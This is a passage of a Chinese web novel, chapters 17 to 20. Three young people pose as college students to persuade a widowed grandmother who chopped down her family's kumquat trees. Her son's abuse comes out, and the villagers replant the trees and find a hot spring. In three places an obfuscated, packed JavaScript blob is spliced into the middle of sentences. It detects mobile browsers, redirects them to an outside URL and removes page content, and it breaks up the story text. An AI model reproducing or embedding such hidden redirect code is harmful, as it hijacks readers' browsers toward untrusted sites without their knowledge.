刘姐自己发明的金桔薄荷酥糕就应该冠上刘姐自己的名号,其他任何名字都是冒牌货。 可是刘姐的婆婆,那个晚年丧子的可怜老太太,挂念儿子也没有错。 事情又不久便陷入了僵局。 唐成安和刘姐就这么面对面干坐着,双方都欲言又止。 温室蜜瓜的计划泡汤,让魏寻原本所有筹划几乎倒退回了原点,连唐成安这一个局外人都觉得可惜,更不用说面对这段时间努力功亏一篑的魏寻。 他鼓起勇气毅然决然回到南州重新寻求一个开始,不管怎么样,唐成安都不愿意看到满心欢喜的魏寻希望再次落空。 这一次无论要面对什么,她都必须试一试。 刘姐顾虑太多开不了口,那索性就让她来当这个说客,更何况就算自己这边行不通,还能押宝周胜天这个“名嘴”呢。 唐成安豁然开朗,语气激动地问道:“刘姐,您婆婆在哪?” 17. 《红色警戒》 听刘姐说,老太太对外人很防备,所以他们三人打算假扮成去当地调研的大学生,慢慢和老太太拉近关系之后,再商量金桔的事。 只不过唐成安和魏寻都大学毕业好几年了,周胜天甚至都没上过大学,所以对这大学生的打扮琢磨了许久。 周胜天难得脱下了他的宝贝汗衫,好声好气哄着他才换成一件纯色T恤。 只是他还是坚持下身短裤配凉鞋的穿搭,偏要说穿长裤和运动鞋会影响他发挥。 魏寻没怎么折腾,还是平日里那样扶着镜框的憨憨形象。 小院的大门吱呀向内开启,出来的是蹦蹦跳跳的唐成安。 “怎么样呀?我像不像大学生?” 唐成安倒是不同往日的打扮,两边各扎了个俏皮的短尾麻花辫,辫子上还特意夹了几个小巧的蝴蝶夹,睫毛一扇一扇的,暖黄的晨光打在脸上灵动调皮。 魏寻一时看呆了,直到被一旁偷笑的周胜天轻轻踹了踹小腿才缓过神来。 不过他过于憨直,也不知道先夸赞女生,反倒磕磕巴巴说了些不过脑子的傻话: “不,不是还有个刘海吗?” 眼前的唐成安让他忽然想起前几天,那时他和小天坐在草垛上,安静地听小天描述的唐成安真正上大学时候的样子。 “啊!”唐成安惊叫一声,猛地捂住自己的额头,脸颊刷地一下涨得通红,“你你你,你还说没有看过我的简历!” “我,我没有!” 魏寻被唐成安的反应吓了一跳,一时间手忙脚乱,原本能脱口而出的解释突然一片空白,只能干摆手表示否认。 唐成安见他没解释,以为是自己猜中了,瞬间恼羞成怒: “你你你,你还说我呢!你大学的时候也不是现在这样啊!” “你,你什么时候看过我大学的照片了?” “你又什么时候看过我大学的照片啦?!” 两个人都不知道怎么了,耍起小孩子脾气,就这点小事来来回回争吵不下。 一旁的周胜天实在看不下去了,强行歪个身子插到两人中间,一人脸上赏了一个大巴掌: “啥子都莫说喽,老子莫上得大学,但是最像大学生!” 他说这话的时候还雄赳赳气昂昂的,只是下一秒就被魏寻狠狠拍了一下脑袋。 “你改改你的四川口音吧!老人家可听不懂。” “就是就是,现在就要开始适应讲普通话。”唐成安也不继续和魏寻斗嘴了,转过矛头对准周胜天。 “哦嗬,莫摧撒!”周胜天不知道谁给的自信,慢悠悠的满不在乎。 “现在就开始!!” 唐成安和魏寻异口同声的怒吼愣是把他呵住了。 周胜天纳了闷了,他本来只是好心劝架,怎么莫名其妙还引战到自己身上来了?欺负农村人老实? 不得不感慨,魏寻和唐成安有时候还真是天造地设的一对,变脸的速度都出奇的默契。 - 也难怪平时最爱凑热闹的向才申这次破天荒的不愿意跟来,这老太太不晓得哪里来的精神,居然一个人跑到这么偏僻的深山里头。 那个村庄位置过于偏远,三个人兜兜转转转了好几趟车才到了路口。 通往山里的道又是窄窄的土路,车子开不进去,只能纯靠脚走。 不断的换乘本来就已经让人疲惫不堪,偏偏还要一边拉着行李箱走这条看不到头的跛路,周胜天实在受不了了,耍起性子躺在地上,哭爹喊娘说什么也不肯走。 唐成安和魏寻也精疲力尽,头顶灼热的太阳烧得令人发晕,眼前天旋地转,全身像散架了一样无力,根本没有多余精力训斥人。 周胜天身子横在路中间,企图喘几口气,要不然这条小命恐怕都撑不到回去的路上。 忽然,他感觉脸颊湿湿痒痒的,以为是什么奇怪的虫子爬他脸上了,猛地惊起。 定睛一看,发现他的手边是一只兴奋地摇着毛茸茸的尾巴,全身的毛发像棉花糖一样蓬蓬的小土狗,正吐着小舌头呼哧呼哧看着他。 他刚才的疲惫仿佛一下全散了,嘬嘬嘬地挑逗起它的下巴,看上去稀罕得很。 不过小狗好像承受不住周胜天这么沉重的爱,没停留多久便跑走了。 周胜天显然不懂得“大爱放手”的道理,匆匆忙忙又追着小狗的屁股跑。 唐成安和魏寻担心他这么瞎跑会出事,也赶紧跟了上去。 没想到这小狗也是有灵性,居然带着他们来到藏匿在树林里的一条小溪边。 这下可算是找到了“生命之水”,三个人简直两眼放光,直直冲向溪流浅岸,把头猛扎进水里。 茂密的树林不偏不倚挡住了灼热的阳光,小溪在林间弯弯绕绕潺潺地流动着,清凉的溪水贴在脸上,仿佛打开了所有的毛孔,带走烤人的热气。 “啊!活过来了。”唐成安长长地舒叹一声,才用纸巾擦去眼睛周围挂着的水滴,就看见身边也是刚刚从水里抬起头的魏寻。 他难得取下那副呆板的眼镜,脸上布满了没来得及擦干的水。 水珠顺着他高挺的鼻梁滑落至鼻尖,睫毛沾湿后根根分明,显得更加纤长,原本额前的长发也用水撩到了后面,整个人干净利落了许多。 唐成安第一次发现,即使没有十二岁那次初遇回忆的烘托,魏寻原来也是这么好看。 被迷住的唐成安正痴痴地幻想着什么,却被周胜天突然一声叫喊打碎了美梦。 “啊啊啊!我的鞋子!!” 周胜天自作聪明坚持要穿的时尚凉鞋,就在离开他脚那电光火石的一瞬间,被溪水无情地收走了。 周胜天此时倾情上演了一出“它逃他追”的滑稽戏码—— 他深情脉脉地追赶前方的凉鞋,连旁边的落叶也给他们加戏,知趣地散落在空中,友情渲染这对“恋人”生离死别的悲伤氛围。 或许是周胜天发自内心的哭嚎感动了溪流,那只冲了有几十米的凉鞋终于被中间的一块石头拦住,这才得以让它与亲爱的主人重逢。 周胜天赶紧踏进水中,弯腰拾起丢失的鞋子,却无意中用余光瞥到树林后躲着的一个奇怪身影。 他挺直身子眯起眼睛一看,发现对方顶着一头湿漉漉的长发,正用诡异的目光死盯着自己。 这一幕在树林阴翳的凉风中更显阴森。 周胜天不由得打了个寒颤,急忙掉头就往回跑,一路上撕心裂肺地哭天喊地。 “有鬼啊!有鬼啊!!” 唐成安被这一嗓子吓到了,慌慌张张躲到魏寻身后,紧抓他衣服的一角。 周胜天则胆子更小,一溜烟跑到唐成安背后,抱着她的腿哭得瑟瑟发抖。 “老周,你到底看到什么了?”魏寻算现场仅剩的正常人,侧过身冷静地问蹲在地上已经被吓到神志不清的周胜天。 “鬼……水鬼……”周胜天眼神空洞,全身冒出稀稀的冷汗,只能支支吾吾吐出几个字。 话还没说清楚,他又突然掉头就跑,唐成安和魏寻不明所以,只能尽快追上他。 作为唯一一个有幸被正面暴击的人,周胜天这下还真是跑出运动健将的势头,尽管脚趾都已经跑出凉鞋外面了,也还是硬生生拉开了另外两人几百米的距离。 不过也多亏了这位花容失色的“领头羊”,三人得以比原计划提前十多分钟到达刘姐婆婆家。 唐成安礼貌轻轻敲了三下,门一打开,出来的是一位浑身胖圆,头发花白却没有老人姿态,后背挺得笔直的老人。 老太太看起来很和蔼,不像刘姐口里说的,只凭一人一斧头,就砍遍整座后山金桔树的那般凶猛气势。 “奶奶您好,我们是来这里做社会调研的大学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740728|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生,方便问您几个问题吗?” 老太太上下打量了几眼,没多怀疑,热情邀请三人进门。 唐成安在关键时刻还是很可靠的,有模有样地装起大学生,头头是道问着老太太各种调查问题。 魏寻看准时机,对周胜天使了个眼色。 周胜天立刻反应过来,从口袋里掏出一个金桔咬在嘴里,想试探老太太的态度如何。 他才放进嘴里没一会儿,却没想到老太太眼神那么尖,这边刚刚还在回答唐成安的问题,下一秒她就蹭的一下起身,冲过去直接从周胜天嘴里把金桔夺过来,用力往外一扔,瞬间消失没影。 三人被这一幕惊得目瞪口呆,一个个僵在原地,一动也不敢动。 老太太又利落转过身来,一改刚才和善的面容,凶神恶煞地逼近周胜天质问:“你从哪里拿的金桔?” “就,就从后山一颗金桔树上摘的。”周胜天人都吓蒙了,随便扯个理由应付过去。 老太太虽说有点半信半疑,但也没有继续追问。 只是她变脸比翻书还快,上一秒还气冲冲逼问,下一秒又转身笑呵呵地对三人说: “小朋友们,在我们家金桔是大忌哦,不过现在解决好了,你们别紧张,继续问问题吧!” 老太太急转直下的态度让房内的三人面面相觑,迷茫得不知所措。 现在这事可真成了烫手山芋,他们从来没有料到老太太对金桔会如此排斥,这下想要说服她恐怕难于登天。 没能顺利说服老太太,三人也不敢回去,只是好在刘姐已经提早为他们找到了能够短住几天的老房子,晚上他们就在房子门前的空地上架个小圆桌,旁边放几箱雪花啤酒,一脸愁苦地商量接下来的对策。 “你们不知道,”周胜天一口气猛灌一整杯啤酒,越说越委屈,“今天老太太那一招‘猴子偷桃’真是厉害,那气势,感觉都可以把我脑子直接从嘴里掏出来了。” 唐成安和魏寻也没预料到老太太的反应,深深叹了口气,正为接下来的行动发愁呢。 “来,阿寻,为我今天舍己为人、勇斗千年老妖的行为干一杯!” 周胜天自我感动于今天自己替唐成安和魏寻受了老太太猛烈一击却无怨无悔的行为,端起酒杯就要和魏寻庆祝干杯。 唐成安见状急忙抓住他的手臂拦住他,半杯酒都因此撒了出来。 她语气强烈:“诶诶诶,你又不是不知道,他这个酒量差到几杯就倒的人,你还让他喝这么多!” 魏寻听了满脸困惑:“我,我怎么就酒量差了?” “你就嘴硬吧!就那次刚和老余谈成生意,向才申在我们酒店包场请喝庆功酒的时候呀,你不是直接醉到第二天都没醒么?我去找你还碰到照顾了你一晚上的周胜天呢。” 唐成安说着便把魏寻酒杯里的酒倒进自己的杯子里,阻止他继续喝, “那次宴会就你们三个,不可能喝很多。如果你不是酒量差,难道还是因为什么不为人知的秘密非要一醉方休啊?” 魏寻这才想起来唐成安说的那次。 其实自己酒量真的不差,只不过正好那天连续灌了好几瓶白酒而已。 醉倒的原因么?那确实是个不为人知的秘密,是唐成安永远都不该知道的秘密。 但是依照她的说法,魏寻也能猜到,这件事应该是周胜天有心替自己隐瞒了真相,于是也改口顺着说下去。 “啊,对……对。” 唐成安一股小大人的气势,拿起杯子就和周胜天碰杯:“来,我陪你喝!” 周胜天左右各瞟了一眼两人,作为知情人,在摸不清唐成安的态度前,他为了兄弟也只得继续演下去。 还没等两人碰杯后喝上几口,唐成安就从余光中看见刘姐从路边气喘吁吁跑过来: “成安,不,不好了,我婆婆不见了!” 18. 金桔树 “你们一人拿一个,有消息了马上通电话啊!” 刘姐从木柜里翻出了三只手电筒,一人发了一只。 电筒一看就有些年头,表面的铁皮上的白细划痕和蜘蛛网一样,人手握住都能感受到尖利的凸起,就连前面的玻璃也已经与凹槽脱离,指头按在上面还能咔哒咔哒地挪动,钨丝灯昏昏沉沉的,有时电压不稳,灯光还忽闪忽闪。 唐成安按下侧面的开关试了试,也算勉强能用。 联想到李梦那次经历,她不禁纳闷——这一个两个、老的少的怎么都喜欢大半夜闹失踪呢? 刘姐这会儿着急得直跺脚,担心老太太万一一个不小心磕了碰了的,这年龄已经摆在这了,可经不起瞎折腾。 唐成安耐心安抚她的情绪,让她先别着急,在家等等看老太太会不会自己回来,她和魏寻、周胜天三个年轻人出去找找。 刘姐也担心他们三个,临走前反反复复多交代了几句,满心忧愁地留在家里打转。 小村庄不比镇里,道路旁边连路灯都没有,到了晚上就黑灯瞎火的,什么都看不见。 吱吱作响的手电仿佛随时要罢工的脾气,一会儿亮一会儿暗的,找人的难度更大了。 “这老太太好端端的发什么脾气,还学年轻人离家出走了……”唐成安找了许久也没见踪影,便有些不耐烦地自言自语。 等等,发脾气? 她忽然想起,老太太今天早上还确实因为金桔的事发了大脾气,她会不会真信了周胜天说的话,一个人跑到山上砍树去了? 反正马路上、田地里她找了一个小时都一无所获,不如换个思路,去山上碰碰运气。 幸好这里地势不高,说是后山,其实也只是个略高的小土坡。 得亏唐成安小时候可没少和唐成泰一起闹腾,兄妹俩经常一有时间就跑去北边的山上比赛。 北边的那座山在当时可是有“南州珠峰”的美名,不务正业的兄妹两人来来回回爬习惯了,气都不喘一下。 对比之下,现在的这座山对她而言可谓是大材小用了。 她一路扒着附近的树枝,不断用鞋尖试探前方,借着手电微弱的光线慢慢爬到了山腰处。 忽然手电的灯光被什么东西反射地闪了一下,唐成安往那块一照,才发现扛着锄头坐在地上的老太太。 这段时间天气热,山上草木茂盛,蚊虫也多,老太太估计是被咬得受不了了,坐在地上直挠。 “奶奶,您别挠破了,我这有清凉油,先将就着搽搽吧。” 唐成安打了电话跟其他人报平安后,扭着身子艰难穿过低矮的灌丛,走到老太太身边,打开身上带的龙虎清凉油为她细细擦拭。 老太太见到小姑娘大晚上特地来找自己,也觉得有点不好意思,却又放不下面子,嘴硬说道: “怎么是你?我还更希望今天上午那个黑不溜秋的男孩子来呢。” “他那么黑,大晚上的怕吓着您呀。”唐成安听出了老人的别扭,识相地给她个台阶下,“您这么晚来这干嘛啊?” 可能是意识到自己被骗了,老太太生气地撅起个嘴说:“还不就是因为那个黑黑的男孩说这山上有金桔树吗……” 唐成安看着眼前这个头发花白的老人,居然还带着小孩子较真的稚气,那样单纯可爱。 她不太忍心继续骗下去了,犹豫半天,还是决定向老太太坦诚相告。 “奶奶,其实您家的事我们都知道……”唐成安说得很慢,时刻观察老太太的反应,“我觉得,思念一个人是不应该毁掉他所有存在的记忆的。” “哈哈哈哈……”本来很伤感严肃的对话,老太太竟然不明就里大笑不止,唐成安不知道自己是不是说错话了,被老太太出乎意料的反应吓到脑子一片空白。 “哎呦……”老太太抹去溢出眼角刚刚笑出的眼泪,语重心长轻拍唐成安的肩膀,“你以为我砍金桔树是因为我看到它会联想起我儿子,因此感到伤心?” 唐成安不知道怎么接话,老太太说的这几句完全是意料之外。 应该是笑够了,老太太气息逐渐平稳下来,脸色却变得不再和蔼,换上一张面目可憎的表情: “我怎么可能为了个畜生伤心呢?” 唐成安像受了巨大冲击一样一脸茫然,迟迟没有回过神来。 老太太看见唐成安眼神里的震惊和困惑忍俊不禁,继续同她解释:“我砍金桔树确实是不想看见我儿子,那是因为我不想看见他即使死了,也成为小刘的枷锁。” 老太太平时说话时时刻刻都仿佛在吊着最后一口气一样虚弱,但此时却说得咬字清楚、中气十足,眼神里是怒火和决绝。 刘姐与她丈夫是在外务工的时候认识的,那段时间他还算勤恳,工作也认真,刘姐看中他的上进,便答应了他的求婚。 刘姐不顾一切远嫁过来,为人体贴贤良,这些年一直都把老太太当作亲生母亲,尽心尽力照顾一家人。 可这样幸福美满的家庭并不能让刘姐丈夫知足,反倒成了他堕落的资本。 那个不知羞耻的男人从此以后成天不着家,糟糕的品行次次屡教不改,喝酒赌博先不说,居然在外面寻欢作乐,不晓得找了多少个小三小四。 要不是老太太当时亲眼看见,他还指不定诹出什么荒唐话联合他的狐朋狗友狡辩呢,有时甚至还想借此挑起婆媳大战,丝毫没有悔意。 种金桔让南州发了财,当然也包括他。 有了本钱,他就比之前更猖狂了,日日夜夜不着家,偶尔难得回一趟家里,给她们的脸色也不好看。 “我当然知道他在干什么,我只是心疼小刘还一直蒙在鼓里。”老太太神色哀伤,弥漫着一种无法言喻的悲痛。 “真是老天有眼,一次坍塌终于替我们把他收走了。”说到尽兴处,老太太笑了起来,只不过也许是心事太重,笑容异常短暂,“但是长期以来被他控制的恐惧却没能一起带走。” “生出这个畜生,我也是罪人。” 为了报答刘姐这些年任劳任怨支撑这个家,老太太就决定要从金桔树这个让那个畜生变本加厉的契机开始,一点一点扫清他这么多年带给她们的桎梏和阻碍。 老太太握着木柄的手越来越用力,锄刃上缠了许多杂草,每一丝草腥味都似乎再现了刚刚老人家发了疯地想找到那颗漏网的金桔树的场景。 颠覆的真相让唐成安没能缓过神,木木地坐在原地欲言又止。 这场误会其实谁都没有错,但偏偏谁也不能说出口。 唐成安作为唯一的知情人,也不知道究竟应该如何开口,只觉得满心的无力感,双手插进上衣衣兜,长长叹了口气。 忽然她在衣兜里摸到了什么——是上午偷偷找刘姐要的金桔薄荷酥糕。 她灵光一现,想到一个可以一试的主意。 她躲在身后偷偷摸摸拆开酥糕的包装,趁老太太不注意,迅速塞进她的嘴里,又怕她吐出来,索性先斩后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756492|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奏,直接用手捂住老太太的嘴。 唐成安:“您先别着急吐掉,尝尝看。” 老太太将信将疑地嚼了嚼,金桔酸甜的清香在口里随着咬开的外皮爆炸开来,她满足地咀嚼,仿佛所有的烦恼都被驱散而光。 唐成安见她吃得津津有味的样子反倒放下心:“好吃吧?刘姐做的哦。” 老太太显然被这消息震惊住了,整个人仿佛被石化了一般,似乎难以置信自己所听到的一切。 “嘿,没想到吧,刘姐已经做了一阵子了,镇上人都喜欢吃。”唐成安重新拆开一块酥糕放入口中,金桔和薄荷碰撞的清凉平复了刚刚得知真相后的恼怒,“只不过她以为您思念儿子,只能起早贪黑避开你偷偷做,也没敢把生意做大。” 唐成安语气平和,一只手惬意地放在膝盖上,对老太太娓娓道来:“你们这婆媳俩呀,都自以为是地为对方着想,结果却把心结越缠越紧。” 老太太也没想到事情居然会发展成这样,原来她折腾了这么久其实完全是在好心办坏事。 唐成安望见老太太自责的神情,缓缓牵起她的手:“金桔这么美好的东西才不是那个畜生的附属品。” “我要是您,我就偏要和刘姐一起把金桔事业办得越红火越好,让天上的那个坏人知道,没了你我们才过得更好呢!” 面前二十来岁的小姑娘拍着胸脯说得慷慨激昂、热血沸腾的样子,直接把老太太逗笑了。 她意味深长地拍了拍唐成安的手背,嘴角微微上扬,洋溢满足和欣慰的笑容。 临近半夜,山里的寂静被偶尔的虫鸣打破,月色朦胧摇曳,将婆娑的树影勾勒得若隐若现,一老一少的两个人相伴而坐,发出浅浅的笑声。 - 虽说已经接到了唐成安报平安的电话,可眼见迟迟都等不来下山的两人,魏寻实在无法安下心和周胜天他们一样傻傻地在屋里等,一个人跑到山脚,急得像热锅里的蚂蚁一样不停兜圈子。 恍惚之间,他隐约听到树叶晃动的沙沙声,着急朝山上大喊:“成安!奶奶!是你们吗?!” “嘿!魏寻!” 从树林中冒出头来的是摇晃着手电,笑得灿烂的唐成安。 手电昏暗的光束随着手臂的晃动,偶尔打在女孩的脸上,朦胧间把魏寻带回到十几年前的那个夜晚—— 清爽的凉夜扫去白日的燥热,楼下的女孩也是如今天这般,拿着老式手电满心欢喜地朝他的宿舍挥舞。 她是那天晚上唯一明艳炽热的太阳,那样张扬汹涌地表达满眼的情愫。 「“魏寻!我唐成安喜欢你!!」 「南州太小啦,装不下我对你的喜欢,所以我要天上的星星作证,我唐成安非常非常喜欢你!”」 可惜流年荏苒,我们总要失去什么。 就像今天晚上祥和的弯月寂然无声悬挂在夜空,偏偏不见一颗烁星。 他知道,自己不能再自顾自地沉湎于回忆里了。 “没事吧?”魏寻走上前帮忙扶住老太太,说话的声音流露出不安的担忧。 “当然没事呀!”唐成安倒表现得轻松愉悦,“你猜猜明天我们要做什么大事?” 魏寻听她的语气才放下心来,他的目光静静地停在她身上,眼底似拢了当晚温和的月色,笑意分明地望着她俏皮的神情。 “嘿嘿,”唐成安洋洋自得弯着眉眼笑着,眼眸在月光的映射下透出浅浅的冷棕, “种,金,桔!” 19. 地下温泉 三人怎么都没猜到,平日里吃穿用度都十分节俭清贫的刘姐一家,居然是南州难得的万元大户。 难怪老太太可以毫无顾忌地砍了整座山的金桔树也不怕人责怪,原来这座山早就被人家买下了。 村里其他人见这个顽固的老太太居然破天荒的敲锣打鼓喊人帮忙种金桔,而且给的报酬也不错,一个个争先恐后挤破头来帮忙。 有树苗的给树苗,有力气的出力气,没一会儿山上就乌压压挤满了人。 众人两两一组,一人埋坑,一人扶树,阵仗好不热闹。 由于山脚下围了太多人,根本挤不进去,唐成安不得不拎着锄头费力爬到高处找位置,同组的魏寻则扛着树苗尽力跟上。 “嗯,这里不错。” 唐成安在一处平地停下,用锄头捶了捶土,觉得土质松软,是个不错的地方。 落在后面的魏寻也吃力地爬了上来,把沉甸甸的树苗从肩上放下,整个人累得双手叉腰,像快断气一样呼吸沉重。 唐成安看他累成这个样子,无奈耸耸肩,撸高袖子抓起地上的锄头准备干活:“你休息一下吧,我先锄地好了。” 魏寻本想帮忙,但无奈实在没了力气,气喘吁吁地点点头。 唐成安站好姿势,刚准备挥起锄头松土,猛然之间竟模糊看见上面的树林里似乎有个人头从背后探出来,好像正悄悄看着他们。 她脑海里忽然蹦出昨天周胜天说的水鬼,瞬间浑身打了个寒颤,锄头一时没握住,哐当一声重重砸在地上。 由于被吓到脑袋空白,一个没站稳,唐成安不小心踩到刚刚掉在地上的锄头,脚踝被划了一刀。 脚上的刺痛让她瞬间腿软,一屁股坐在地上,魏寻听见动静也急忙跑了过来。 这一刀虽然伤得不深,但血液也不断地从伤口涌出来,一滴一滴坠落渗入土里。 魏寻见状四处找东西想要止血,但这山林里根本找不到绷带,情急之下他急忙脱下自己的外套绑在唐成安的脚踝处。 这么做虽然减缓了血液的流出,但依旧没办法完全止住血,必须下山去村里的卫生院进行专业处理和包扎。 他忧心忡忡地想要扶起唐成安,唐成安也打算用另外一只手撑地借个力,好让自己尽快站起来。 只不过她这一撑,竟无意中感到手掌温温热热的,她抬起手一看,发现刚刚压着的泥土居然又湿又热,隐隐约约还渗出些水。 她感到好奇,用手刨开了表层的一部分泥土,发现浅坑里竟然真的从底下冒出了少许清水。 里面的水清澈温热,是个奇怪现象,她赶紧招招手,喊魏寻蹲下看。 魏寻用手轻触了一下坑里的清水,安静思考了一会儿: “这里应该有个温泉眼,可以考虑打个温泉井。” 唐成安听了这话欣喜若狂,激动地拍打着魏寻的手臂。 魏寻看见眼前的女孩一脸兴奋的模样,仿佛全然忘记了刚才自己脚踝的疼痛,他无奈地眉心微动,嘴角的笑意丝丝缕缕漫溢开来。 不过高兴归高兴,唐成安脚踝的伤可不能再这么耽误。 魏寻将唐成安的手放在自己的肩上,双手握拳扣住她的双腿,把她直接坐着背起来。 可能魏寻这突然的举动把唐成安吓到了,她的手指紧紧攥着魏寻的衣服,双腿紧绷放在两边,紧张的心跳声如同鼓点般疾速敲击着胸腔。 唐成安被魏寻稳稳背在背上,两个人后背和前胸贴在一起,她频繁地深呼吸,害怕魏寻感受到她急切的心跳。 也许是魏寻太过担心,一路上没说一句话,唐成安看他一脸严肃,想打破沉重的气氛。 她趁魏寻不注意,用刚刚刨了土的手指在魏寻鼻子底下划了一道。 这条用泥土在魏寻脸上画出来的短线,让他看起来就像长了希特勒的小胡子一样,逗得唐成安咯咯笑。 魏寻对女孩的稚气有些无可奈何,只能宠溺地摇摇头,任由她在自己脸上乱画取乐。 - 唐成安不幸负伤,魏寻只能换成和周胜天搭档。 “快点快点!”一路上除去爬山的疲惫,就只剩周胜天无时无刻的催促声。 工酬是按颗数给的,于是周胜天这个财迷巴不得一秒都不浪费,火急火燎地种了一颗又一颗。 魏寻跟不上他这激情,远远被落在后面。 也不知道怎么回事,刚才唐成安摔倒的地方像是中了邪一样,走到那的周胜天也看到了那个人影。 魏寻看到刚刚还匆匆忙忙喊着要种树换工钱的周胜天,现在却突然不明原因停了下来,还纳闷地拍了拍周胜天。 没想到周胜天一脸惨白地转过头来,猝不及防蹦到魏寻身上,鬼哭狼嚎地死死抱着他不放。 “鬼啊!就是那个水鬼!” 周胜天把头埋进魏寻的肩膀,伸出一根手指慌乱地指着上面的树林。 魏寻见他一个二十好几的大男人居然被吓成这样,一言难尽地摇摇头,对着他指去的方向大喊: “您好!您好像吓到我朋友了,可以下来道个歉吗?” 周胜天觉得魏寻简直傻到无药可救了,这个水鬼躲都来不及,他居然还客气地邀请它下来。 但自己过于害怕,还是不敢抬起头来,只能颤抖着声音絮絮叨叨小声骂他。 魏寻听周胜天像怨妇一样骂个不停,实在忍不下去,直接不耐烦地把他的头扭过去,让他好好瞧瞧他的“水鬼”。 起初周胜天还挺有个性地“宁死不从”,最后还是被魏寻硬生生掰开眼皮逼他看。 这下他才看清这位“水鬼”兄弟——原来是个和他们年纪差不多的年轻小伙。 看到面前是个实实在在的真人,周胜天这才放下戒心从魏寻身上下来,反复上下打量这位年轻人。 “你,你干嘛要吓唬人啊?”周胜天发现自己怕了这么久的鬼原来是个人,有点恼羞成怒。 年轻人理直气壮地回应周胜天的质问:“我看你们是生面孔,谁知道你们来这里想打什么主意。” “村里其他人也见到我们了啊,怎么不见得他们有你这么防备?” “因为我是这里的大学生村官啊!保卫村庄是我的责任,可不能让那些鬼鬼祟祟、不怀好意的人进来!” “好啊你,你是不是已经盯我们很久了?你说,昨天在小溪边碰到的那个是不是也是你!” “那,那是刚好我在那里洗澡,谁知道你们突然闯进来,我还不是只能躲起来!” 原来吓得周胜天这两天时时刻刻担惊受怕的这件事,其实是个天大的误会。 魏寻听见面前的年轻人是这里的大学生村官,先伸出手向他表示友好:“你好,我是魏寻,来这里是想找刘姐一家谈金桔薄荷酥糕生产的事。” 年轻人见他比周胜天客气温和多了,赶忙伸手握住他问好:“你好你好,我是这里的村支部助理,你可以叫我小陈。” 一旁的周胜天还有些置气,赌气不愿跟小陈握手。 魏寻也顾不得他的情绪,好不容易碰到村里的干部,他还是要以正事为先。 他领着小陈来到之前唐成安发现的那处泉眼,把坑刨深了点示意给他看。 “你看这里的水,我猜这块地下应该是个小型温泉。” 小陈也蹲下来试了试水温,的确是热的。 “你刚好是这里的干部,可以和村委会商量一下,在这里挖个小型的温泉井,说不定可以以此为特色景点带动村庄的发展。” 魏寻详细地向小陈介绍了他的想法,小陈也在旁边若有所思地认真听着。 周胜天看俩人气氛那么亲密,阴阳怪气一声:“诶诶诶,别忘了我们来这是种树的啊!” 哪想到话音刚落,魏寻就语重心长拍了拍他的肩膀,交代他好好努力,最后留他一个人在原地,自己却跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“应该是我大二的时候,学校开了一个创新创业的课程,要求每个人去校门口的天桥上摆摊,没达到目标就挂科。”魏寻看着唐成安的眼睛,讲得很认真。 魏寻所在的组抽到了最难的项目,每个成员都挺为难的,直到好几天过去了,营业额离目标都还差的很远。 当时也不知道周胜天为什么偏偏选中了他们组,只觉得他是神兵天降,一个下午就把东西卖光了。 从那之后,周胜天便和魏寻他们几个就成了很好的朋友。 “那这么说,他是你的贵人喽?”唐成安问。 魏寻微微点点头,抿唇轻笑,眼底是美好回忆荡漾出的澄澈色彩。 “嘿,那你也是我的贵人。”唐成安歪着头冲魏寻调皮地挑了个眉,身体有些微微后倾,抬起没受伤的那条腿在空中轻轻晃动。 唐成安见魏寻坐在旁边只顾呆呆地傻笑,没有其他反应,以为是不信她说的话,开始有点儿急了:“诶,你别不信呀!” 魏寻:“好,我信。” 唐成安觉得魏寻还是在敷衍,嘁了一声就扭头转过去。 农村的夜晚和城里的完全不一样,满天星辰在夜空的流转间熠熠生辉,人们在星河的一侧,聆听所有的心事。 唐成安抬眼望着星空喃喃低语: “要不是小时候找你补习,你一直肯定我,鼓励我要努力学习,去见见外面的世界,我可能也会成为一个游荡在南州大街上无所作为、浑浑噩噩的人。” “魏寻,你的大学很美好吧,我的也是。” “可你也许不知道,这是你为我带来的美好。” 唐成安的声音太小,就连野外的蝉鸣都盖过了她的私语。 所以魏寻一个字都没能听到。 但她并不在乎。 魏寻,原来外面的世界真的好大好大,是两只眼睛都装不下的宽广。 谢谢你带我出去。 你是我生命中最温柔的际遇。 20. 《西游记》 唐成安右脚不幸负伤后,她终于可以好好坑上唐成泰一笔。 她打着脚伤的借口,要求唐成泰天天接送,正好防止他又骑着摩托车出去鬼混。 “哎呦哎呦,你别拽我头发!” 也不知道唐成安是方便使劲,还是成心报复,唐成泰一头引以为傲的秀丽长发被她扯得生疼。 “我这不是不方便坐下嘛!”唐成安理直气壮回怼过去,说着还把他往办公室门口推,“好了好了,你赶快走吧!闲杂人等禁止入内。” 唐成泰气急败坏地翻了个白眼,嘴里骂骂咧咧就走了,唐成安倒是诡计得逞一般,躲在电脑背后偷笑。 不过捉弄完亲哥,也该忙正事了。 刘姐那边确实已经答应将金桔薄荷酥糕进行量产,但是和原本的小店零售不一样,如果改为批量生产,是需要拿到生产许可证和食品安全证的。 生产许可证倒不是难事,只要是合格的食品加工厂,每个厂子都有配备。 只不过这个食品安全证就要另下功夫。 